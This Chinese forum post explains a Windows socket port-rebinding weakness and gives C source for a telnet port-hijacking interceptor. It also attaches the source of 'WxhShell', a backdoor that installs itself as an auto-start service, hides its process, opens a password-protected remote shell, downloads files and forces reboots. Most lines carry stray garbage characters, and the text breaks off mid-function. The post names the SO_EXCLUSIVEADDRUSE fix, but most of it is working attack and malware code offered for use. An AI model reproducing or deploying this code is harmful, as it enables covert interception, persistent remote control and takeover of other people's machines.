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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RP4/:sO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /`*{57/3  
v= 55{  
  saddr.sin_family = AF_INET; U0~_'&Fe  
'wND  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Da=EAG-{7  
hi7_jl6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); > H!sD\b  
m&.LJ*uM\K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )dXa:h0RZ  
8+zW:0"[  
  这意味着什么?意味着可以进行如下的攻击: "TV'}HH  
6j<9Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |Wh3a#  
TlqHj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "g{q=[U}  
FaL\6w  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K$CC ~,D  
o>el"0rn.h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z5+Pi:1w  
+HK4sA2;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a~$XD(w^  
yk+ 50/L  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 88g3<&  
B VBn.ut  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]P4WfV d  
R=D]:u<P  
  #include Njq}M/{U  
  #include o-,."|6  
  #include YB#fAU  
  #include    =$>=EBH,cm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `+7F H  
  int main() kB7vc>@1  
  { ,6)N.  
  WORD wVersionRequested; k s40 5  
  DWORD ret; ?|nl93m  
  WSADATA wsaData; vB:\ZX4  
  BOOL val; IpP%WW u  
  SOCKADDR_IN saddr; wwUI ;g  
  SOCKADDR_IN scaddr;  *}?[tR5  
  int err; j6 wFks  
  SOCKET s; X\}l" ]  
  SOCKET sc; R+ * ; [  
  int caddsize; pwFp<O"  
  HANDLE mt; ewDYu=`*  
  DWORD tid;   -^_m(@A<~  
  wVersionRequested = MAKEWORD( 2, 2 ); "F F$Q#)  
  err = WSAStartup( wVersionRequested, &wsaData ); _jWs(OmJ  
  if ( err != 0 ) { E$ d#4x  
  printf("error!WSAStartup failed!\n"); 5E!C?dv(z  
  return -1; &5 CRXf  
  } 5ut| eD`3  
  saddr.sin_family = AF_INET; nL@'??I1  
   mypV[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BI'>\hX/V  
cc@W 6W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LC%o coc  
  saddr.sin_port = htons(23); -IPo/?}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <r%K i`u(p  
  { +;N]34>S7  
  printf("error!socket failed!\n"); Q@D7 \<t  
  return -1; &D, Iwq  
  } yx-{Pj X   
  val = TRUE; b!<_ JOL2.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s :vNr@TS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qBA)5Sv\V  
  { GkGiQf4hh  
  printf("error!setsockopt failed!\n"); F%OP,>zl  
  return -1; Y(Q 0m|3P  
  } >O'\ jp}$l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _~kw^!p>Kr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'Wlbh:=$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bJ d| mm/v  
=i/Df ?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {)YbksrJ{  
  { @rl5k(  
  ret=GetLastError(); J_Lmy7~xbD  
  printf("error!bind failed!\n"); 7! O"k#  
  return -1; Z,&O8Jelf  
  } |OeyPD#  
  listen(s,2); _v!7 |&\  
  while(1) $)lkiA&;  
  { KVi6vdgD  
  caddsize = sizeof(scaddr); ?N#I2jxaD  
  //接受连接请求 !xs}CxEyA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /MZ<vnN7f  
  if(sc!=INVALID_SOCKET) 2Q^ q$@L  
  { i7x&[b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "LBMpgpU  
  if(mt==NULL) 0~|0D#klB  
  { aLk3Yg@X  
  printf("Thread Creat Failed!\n"); b<h((]Q>^  
  break; 4:/]Y=)x  
  } V!}I$JiJ  
  } ]RVu[k8  
  CloseHandle(mt); r,5e/X  
  } Mz@{_*2   
  closesocket(s); 9~SPoR/_0  
  WSACleanup(); _O`prX.:B0  
  return 0; ~ 9>H(c  
  }   \GFq RRn  
  DWORD WINAPI ClientThread(LPVOID lpParam) U2Ve @.  
  { Vt`4u5HG  
  SOCKET ss = (SOCKET)lpParam; '+Dsmoy  
  SOCKET sc; xIdb9hm<  
  unsigned char buf[4096]; JrP`u4f_  
  SOCKADDR_IN saddr; )g pN 5TDd  
  long num; pdu1 kL  
  DWORD val; .K C* (}-  
  DWORD ret; O=K lc+Oo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z{8%Cln  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   HQ-[k$d W4  
  saddr.sin_family = AF_INET; wL;OQhI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cVi_#9u"  
  saddr.sin_port = htons(23); ~OD6K`s3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]LE,4[VxRz  
  { 1k[_DQ=^l1  
  printf("error!socket failed!\n"); Z+xkN  
  return -1; z)Rkd0/X  
  } %bcf% 7  
  val = 100; oj8r*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I4Do$&9<D  
  { CD1Ma8I8  
  ret = GetLastError(); R|?n  
  return -1; B`SX3,3  
  } <spG]Xa<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j.M]F/j  
  { V&zeC/xSq  
  ret = GetLastError(); oodA&0{)d  
  return -1; 6 AO(A *  
  } 2;)IBvK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /xn|d#4  
  { 2> a&m>  
  printf("error!socket connect failed!\n"); ,xwiJfG; ]  
  closesocket(sc); \kE0h\  
  closesocket(ss); 1P)K@j  
  return -1; pH~\~  
  } 4LSs WO<@  
  while(1) |W@ ~mrO  
  { N"9^A^w8k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tI^91I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^-%'ItVO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8vx ca]DcV  
  num = recv(ss,buf,4096,0); "6,fIsU  
  if(num>0) \8(Je"S  
  send(sc,buf,num,0); 1^_W[+<S/  
  else if(num==0) >~g-  
  break; %! ` %21  
  num = recv(sc,buf,4096,0); ,[n9DPZ  
  if(num>0) }B%9cc  
  send(ss,buf,num,0); d=1\=d/K  
  else if(num==0) N8]DzE0%  
  break; [I;C 6p  
  } U|wST&rU|  
  closesocket(ss); 2j f!o  
  closesocket(sc); ;CO qu#(  
  return 0 ; F=\ REq  
  } r1~W(r.x  
`.@udfog^0  
&Wy>t8DIK  
========================================================== uQG|r)  
EH".ki=e  
下边附上一个代码,,WXhSHELL r'noB<| e  
ru:"c^W:[  
========================================================== G[}v?RLI  
mJ%^`mrI  
#include "stdafx.h" <*vR_?!  
F`KXG$  
#include <stdio.h> KKwM\   
#include <string.h> VjM/'V5  
#include <windows.h> JCH9~n.  
#include <winsock2.h> UV(`.  
#include <winsvc.h> x@ X2r  
#include <urlmon.h> h<L_ =)lH  
a>C;HO  
#pragma comment (lib, "Ws2_32.lib") :@(1~Hm  
#pragma comment (lib, "urlmon.lib") +*OAClt+]  
z/#,L!Z3  
#define MAX_USER   100 // 最大客户端连接数 Le83[E*i  
#define BUF_SOCK   200 // sock buffer 0 Rb3| te  
#define KEY_BUFF   255 // 输入 buffer WOPIF~1v  
, S^y>  
#define REBOOT     0   // 重启 #-%D(=&I  
#define SHUTDOWN   1   // 关机 M|nLD+d~8  
E2|M#Y  
#define DEF_PORT   5000 // 监听端口 Av.`'.b  
@de  ZZ  
#define REG_LEN     16   // 注册表键长度 pZ Uy (  
#define SVC_LEN     80   // NT服务名长度 ts=D  
} :?*n:g5  
// 从dll定义API DXJw)%G w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y/@Bhzc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &q&z$Gc;m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f (C:J[;Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @l3&vt2=J  
5VE=Oo#&  
// wxhshell配置信息 !- [ ZQ  
struct WSCFG { '!$ QI@@  
  int ws_port;         // 监听端口 <j,I@%  
  char ws_passstr[REG_LEN]; // 口令 HFB>0<$  
  int ws_autoins;       // 安装标记, 1=yes 0=no e'~Qe_  
  char ws_regname[REG_LEN]; // 注册表键名 Uhu?G0>O  
  char ws_svcname[REG_LEN]; // 服务名 \[!{tbK`2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N?3p,2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i`YZ;L L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2V 8 "jc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e O~p"d-|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~M7X]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iwIn3R,  
3 85qQppz  
}; Cw^iA U  
/.s L[X-G  
// default Wxhshell configuration UV|{za$&/  
struct WSCFG wscfg={DEF_PORT, NXLb'mH~  
    "xuhuanlingzhe", krGIE}5  
    1, Sj)?!  
    "Wxhshell", ?i_2ueVR  
    "Wxhshell", bv41et+Kb  
            "WxhShell Service", zM8 jjB  
    "Wrsky Windows CmdShell Service", nls$ wE  
    "Please Input Your Password: ", };r EN`L  
  1, }A6z%|d  
  "http://www.wrsky.com/wxhshell.exe", t .&JPTK-H  
  "Wxhshell.exe" Cm5L99Y  
    }; GRpwEfG  
{Mo[C%  
// 消息定义模块 nzO -\`40  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mg0ai6KD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f:nXE&X[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UQhD8Z'I.  
char *msg_ws_ext="\n\rExit."; b4$g$()  
char *msg_ws_end="\n\rQuit."; 1A93ol=  
char *msg_ws_boot="\n\rReboot..."; %X}D(_  
char *msg_ws_poff="\n\rShutdown..."; zp4@T)  
char *msg_ws_down="\n\rSave to "; ']Czn._  
m[l&&(+J,  
char *msg_ws_err="\n\rErr!"; ao7M(f  
char *msg_ws_ok="\n\rOK!"; vh|m[p  
I 8 ?  
char ExeFile[MAX_PATH]; j!L7r'AV5  
int nUser = 0; oGXcu?ft  
HANDLE handles[MAX_USER]; !9qw  
int OsIsNt; o8g] ho  
H O>3>v  
SERVICE_STATUS       serviceStatus; ("f~gz<<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R {-M%n4w  
K7$Q .  
// 函数声明 p]e.E`'S  
int Install(void); * W"Pv,:  
int Uninstall(void); aA%x9\Y  
int DownloadFile(char *sURL, SOCKET wsh); qU&v50n  
int Boot(int flag); W`[7|8(6!  
void HideProc(void); $Q|6W &?[;  
int GetOsVer(void); TJcHqzcUc  
int Wxhshell(SOCKET wsl); SA"4|#3>7  
void TalkWithClient(void *cs); ,LOx!  
int CmdShell(SOCKET sock); 6QHUBm2  
int StartFromService(void); M"-53|#:w\  
int StartWxhshell(LPSTR lpCmdLine); #p{8  
1@-l@ P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?iaO+G&|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !!6@r|.  
`^g-2~  
// 数据结构和表定义 0p,_?3nX  
SERVICE_TABLE_ENTRY DispatchTable[] = J,h'eY5  
{ 5OTZa>H  
{wscfg.ws_svcname, NTServiceMain}, rWL&-AZQl  
{NULL, NULL} o`~,+6] D  
}; .^- I<4.  
.lgm"  
// 自我安装 *yg`V,C  
int Install(void) SbtZhg=S_  
{ %Zeb#//Jz  
  char svExeFile[MAX_PATH]; <0/)v J- 9  
  HKEY key; V+u0J"/8  
  strcpy(svExeFile,ExeFile); 8`<3rj  
bHDZ=Ik  
// 如果是win9x系统,修改注册表设为自启动 ZSwhI@|  
if(!OsIsNt) { 25vq#sS]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m9'bDyyK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^MWp{E  
  RegCloseKey(key); HT_nxe`E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W Emh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3cH^ ,F  
  RegCloseKey(key); }y|_v^  
  return 0; kCZ'p  
    } Vvn~G.&)  
  } 0sq?>$~Kc*  
} tB0f+ wC  
else { ;MO,HdP;  
&61h*s  
// 如果是NT以上系统,安装为系统服务 Fp+fZU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R|\kk?,u  
if (schSCManager!=0) :9|CpC`.  
{ BE!WCDg,  
  SC_HANDLE schService = CreateService _:XX+ 3W7  
  ( / 7 R0w  
  schSCManager, G Mg|#DV  
  wscfg.ws_svcname, 5n=~l[O  
  wscfg.ws_svcdisp, ad<ZdO*h  
  SERVICE_ALL_ACCESS, x,<|<W5<%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZjgfkZAS  
  SERVICE_AUTO_START, 1?y QjW,  
  SERVICE_ERROR_NORMAL, U uSCqI};  
  svExeFile, \uOR1z  
  NULL, Q/l388'  
  NULL, Cyp%E5b7  
  NULL, _lw:lZM?  
  NULL, 7!g4`@!5M  
  NULL {G-y7y+E  
  ); j-/F *P  
  if (schService!=0) ]2mfby  
  { WHR6/H  
  CloseServiceHandle(schService); }ho6  
  CloseServiceHandle(schSCManager); pE]s>T a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 810uxw{\  
  strcat(svExeFile,wscfg.ws_svcname); Nf9$q| %!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %xwtG:IKEV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zRA,Yi4;+  
  RegCloseKey(key); ugQySg>  
  return 0; GOY!()F  
    } 4#D>]AX  
  } Z7=k$e  
  CloseServiceHandle(schSCManager); |EP=<-|  
} QqB9I-_  
} !@f!4n.e|I  
l\&Tw[O  
return 1; . L]!*  
} L@~0`z:>iP  
#D Oui]  
// 自我卸载 M~djX} #\  
int Uninstall(void) jGKI|v4U(  
{ ;<s0~B#9}  
  HKEY key; g$9s} \6B  
,M9Hdm  
if(!OsIsNt) { X8   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $&FeR*$|g  
  RegDeleteValue(key,wscfg.ws_regname); MMyJAGh ^G  
  RegCloseKey(key); 8'VcaU7Nh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h~.z[  
  RegDeleteValue(key,wscfg.ws_regname); PLQLGb4f_;  
  RegCloseKey(key); 6$\'dkufQ  
  return 0; w*IDL0#  
  } X[$FjKZh=F  
} L[}Ak1 A  
} 6cTd SE  
else { Eh.NJI(  
{GQRJ8m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %g=SkQ&d  
if (schSCManager!=0) F44KbUH  
{ hdy N   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -e_L2<7  
  if (schService!=0) E3 aj  
  { "S0WFP\P+  
  if(DeleteService(schService)!=0) { Tf.DFfV#y  
  CloseServiceHandle(schService); Yi#U~ h  
  CloseServiceHandle(schSCManager); M>|R&v  
  return 0; YjwC8#$  
  } (-hGb:  
  CloseServiceHandle(schService); 5c6?$v /  
  } yxL(mt8  
  CloseServiceHandle(schSCManager); HpR(DG) ?  
} nB#XQ8Nzx^  
} nrRP1`!]T  
;Km74!.e7  
return 1; S2"H E`  
} vUgMfy&  
629 #t`W\  
// 从指定url下载文件 N&-J,p~  
int DownloadFile(char *sURL, SOCKET wsh) hBNA,e:  
{ }:4b_-&Q5  
  HRESULT hr; ^n<o,K4\}  
char seps[]= "/"; T8-,t];i  
char *token; TCetd#;R  
char *file; #'oGtFCd`  
char myURL[MAX_PATH]; H 5'Ke+4.e  
char myFILE[MAX_PATH]; "'*w_H0  
Ggp.%kS6F  
strcpy(myURL,sURL); q;=!=aRg  
  token=strtok(myURL,seps); ]Qh0+!SdG  
  while(token!=NULL) NmZowh$M  
  { NVq3h\[X  
    file=token; NaYr$`  
  token=strtok(NULL,seps); ynU20g  
  } PuGc{kt  
s(s hgI 3g  
GetCurrentDirectory(MAX_PATH,myFILE); ~)IiF.I b  
strcat(myFILE, "\\"); #Bi8>S  
strcat(myFILE, file); B0"55g*c  
  send(wsh,myFILE,strlen(myFILE),0); ad,pHJ`  
send(wsh,"...",3,0); >}6V=r3[+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5 p! rZ  
  if(hr==S_OK) SH/^qDT'  
return 0; YuKg|<WO  
else =p 7eP  
return 1; db5@+_  
)|`|Usn#[  
} M Qlx&.>  
@;ob 4sU  
// 系统电源模块 }q D0-  
int Boot(int flag) T~- OC0  
{ >`=<(8bu  
  HANDLE hToken; e)A-.SRiO$  
  TOKEN_PRIVILEGES tkp; RG V}c#  
< r7s,][&  
  if(OsIsNt) { o-r00H|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "6 \_/l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z"j]m_m H  
    tkp.PrivilegeCount = 1; F<LRo}j"9Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *^Xtorqo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xmBGZ4f%  
if(flag==REBOOT) { iFkXt<_A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _ 2E*  
  return 0; #/LU@+  
} )HJ#|JpxC  
else { u5E\wRn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t @vb3  
  return 0; P&}J (;Lbl  
}  mB<*we  
  } ?$Jj^/luD  
  else { RA$q{$arb  
if(flag==REBOOT) { VFLW @  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IT=<p60"  
  return 0; mVNHH!  
} ~"}o^#@DwJ  
else { Z,}c)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lmpBf{~ S  
  return 0; 8m"jd+  
} '4]_~?&x  
} =dDr:Y<@*  
r0(*]K:.  
return 1; %8$ldNhV  
} 1XPYI  
}\3jcnn  
// win9x进程隐藏模块 cPbAR'  
void HideProc(void) ?3Y~q;I]O  
{ EEdU\9DH(  
SKeX~uLz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qEajT"?  
  if ( hKernel != NULL ) ~x6<A\  
  { "#G`F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s5 ($b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $ n"*scyI  
    FreeLibrary(hKernel); wjc&S'[  
  } w~wg[d  
`|WEzW~  
return; p`/c&}  
} }C!g x6  
:hFKmoy#  
// 获取操作系统版本 3:"w"0[K3  
int GetOsVer(void) ~Y3X*  
{ i.Z iLDs\7  
  OSVERSIONINFO winfo; ~>B`T%=H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r}i}4K[1  
  GetVersionEx(&winfo); 45.Vr[FS.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8~ w P?  
  return 1; pxb4x#CC  
  else 8KMo!p\i  
  return 0; t+Au6/Dx?  
} Q%!Dk0-)  
%_%Bb Qf  
// 客户端句柄模块 E(g$f.9  
int Wxhshell(SOCKET wsl) FL E3LH  
{ o8h` 9_  
  SOCKET wsh; 7ro&Q%  
  struct sockaddr_in client; J^y?nE(j  
  DWORD myID; Ge1b_?L_  
EFn[[<&><t  
  while(nUser<MAX_USER) bZWdd6  
{ |qz&d=>  
  int nSize=sizeof(client); 2KtK.2;7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &>P<Zw-  
  if(wsh==INVALID_SOCKET) return 1; UU*v5&  
dCpDA a3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,)M/mG?,  
if(handles[nUser]==0) @UQ421Z`  
  closesocket(wsh); ]\m >N]P]  
else qPoN 8>.  
  nUser++; bCqTubbx!t  
  }  L30$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $8WWN} OC  
\>[k0<  
  return 0; b} FhC"'i  
} %ty`Oa2  
XNJ3.w:R  
// 关闭 socket Z ygu/M 6  
void CloseIt(SOCKET wsh) 6{!Cx9V  
{ DM,)nh6'  
closesocket(wsh); kgh0  
nUser--; s;cGf+  
ExitThread(0); K5^`,}Q^  
} "p]!="\  
OJiwI)a9  
// 客户端请求句柄 lokKjs  
void TalkWithClient(void *cs) b3Q k;yz  
{ K<q#2G0{  
6bN8}\5  
  SOCKET wsh=(SOCKET)cs; h43py8v  
  char pwd[SVC_LEN]; L7]o^p{g}Q  
  char cmd[KEY_BUFF]; '0w</g  
char chr[1]; i>O8q%BnJ  
int i,j; Xo$SQ0K  
mDx=n.lIz  
  while (nUser < MAX_USER) { ]=ADX}  
RT|1M"?$  
if(wscfg.ws_passstr) { .$fSWlM;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?Wc+ J4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [kf6bf@  
  //ZeroMemory(pwd,KEY_BUFF); 9yz@hdG  
      i=0; %n 6NVi_[  
  while(i<SVC_LEN) { /@B2-.w  
WK0:3q(P  
  // 设置超时 6MNrH  
  fd_set FdRead; :b] \*  
  struct timeval TimeOut; \FIM'EKzu!  
  FD_ZERO(&FdRead); u\;d^A  
  FD_SET(wsh,&FdRead); b]  
  TimeOut.tv_sec=8; sI.p( -K Q  
  TimeOut.tv_usec=0; 3 Ak'Ue  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hpgOsF9Lh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =R<92v  
}2 Tq[rl~s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z'*"iaX<c  
  pwd=chr[0]; HX)]@qL  
  if(chr[0]==0xd || chr[0]==0xa) { IXG@$O?y/  
  pwd=0; N0%q 66]1  
  break; ZZL@UO>:  
  } Zrp-Hv27,,  
  i++; *?\u5O(  
    } UVXSW*$  
w{t]^w:  
  // 如果是非法用户,关闭 socket W*%(J$E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]&N>F8.L+  
} TB-dV'w  
XhA tf @n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I{h KN V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); % m"Qg<  
,,!P-kK$  
while(1) { |]9L#  
zk"8mTg  
  ZeroMemory(cmd,KEY_BUFF);  i CLH  
TW|- 0  
      // 自动支持客户端 telnet标准   vZW[y5   
  j=0; 8+J>jZ  
  while(j<KEY_BUFF) { I\x9xJ4x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 684d&\(s  
  cmd[j]=chr[0]; >JAWcT)d  
  if(chr[0]==0xa || chr[0]==0xd) { &_u.q/~   
  cmd[j]=0; 0ckmHv  
  break; k'k}/Hxub  
  } ;b:'i& r  
  j++; H\qZu%F'  
    } W+/_0GgQ3  
];lZ:gT  
  // 下载文件 T2/:C7zL  
  if(strstr(cmd,"http://")) { lx=tOfj8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %B( rW?p&  
  if(DownloadFile(cmd,wsh)) q2s0g*z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pB#I_?(  
  else =JW-EQ6[T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7F6 B  
  } jw9v&/-  
  else { hl7 z1h  
"TJ*mN.i{}  
    switch(cmd[0]) { 92t.@!m`  
  KX]!yA  
  // 帮助 KbtV>  
  case '?': { ! xG*W6IT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \ ZE[7Ae  
    break; M:{Aq&.  
  } q[C?1Kc .z  
  // 安装 QxdC[t$Lp  
  case 'i': { /1v9U|j  
    if(Install()) &H]/'i-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z i.' V  
    else %^HE^ &  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hj|&P/jY]*  
    break;  L"%SU  
    } *$W&jfW  
  // 卸载 Wz s=BNm9  
  case 'r': { @$T$hMl  
    if(Uninstall()) cO*g4VL"[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -]HZ?@  
    else .WqqP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xBA"w:<  
    break; {V2"Pym?  
    } y'`/^>.  
  // 显示 wxhshell 所在路径 MCmb/.&wu  
  case 'p': { 7!pKlmQ  
    char svExeFile[MAX_PATH]; .Mb[j1L^  
    strcpy(svExeFile,"\n\r"); uW(-?  
      strcat(svExeFile,ExeFile); 8ROKfPj;z  
        send(wsh,svExeFile,strlen(svExeFile),0); X!ruQem /  
    break; z6C(?R  
    } ERV]N:(  
  // 重启 3X`9&0:j%  
  case 'b': { eMC^ORdY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \X:e9~  
    if(Boot(REBOOT)) 0X5cn 0L^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /;#kV]nF  
    else { _TOWqV^  
    closesocket(wsh); bGH#s {'5  
    ExitThread(0); OL>>/T  
    } !S':G  
    break; $u!(F]^  
    } # dWz,e3   
  // 关机 q()o|V  
  case 'd': { Z^&G9I#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j8` B  
    if(Boot(SHUTDOWN)) FBNLszT{L  
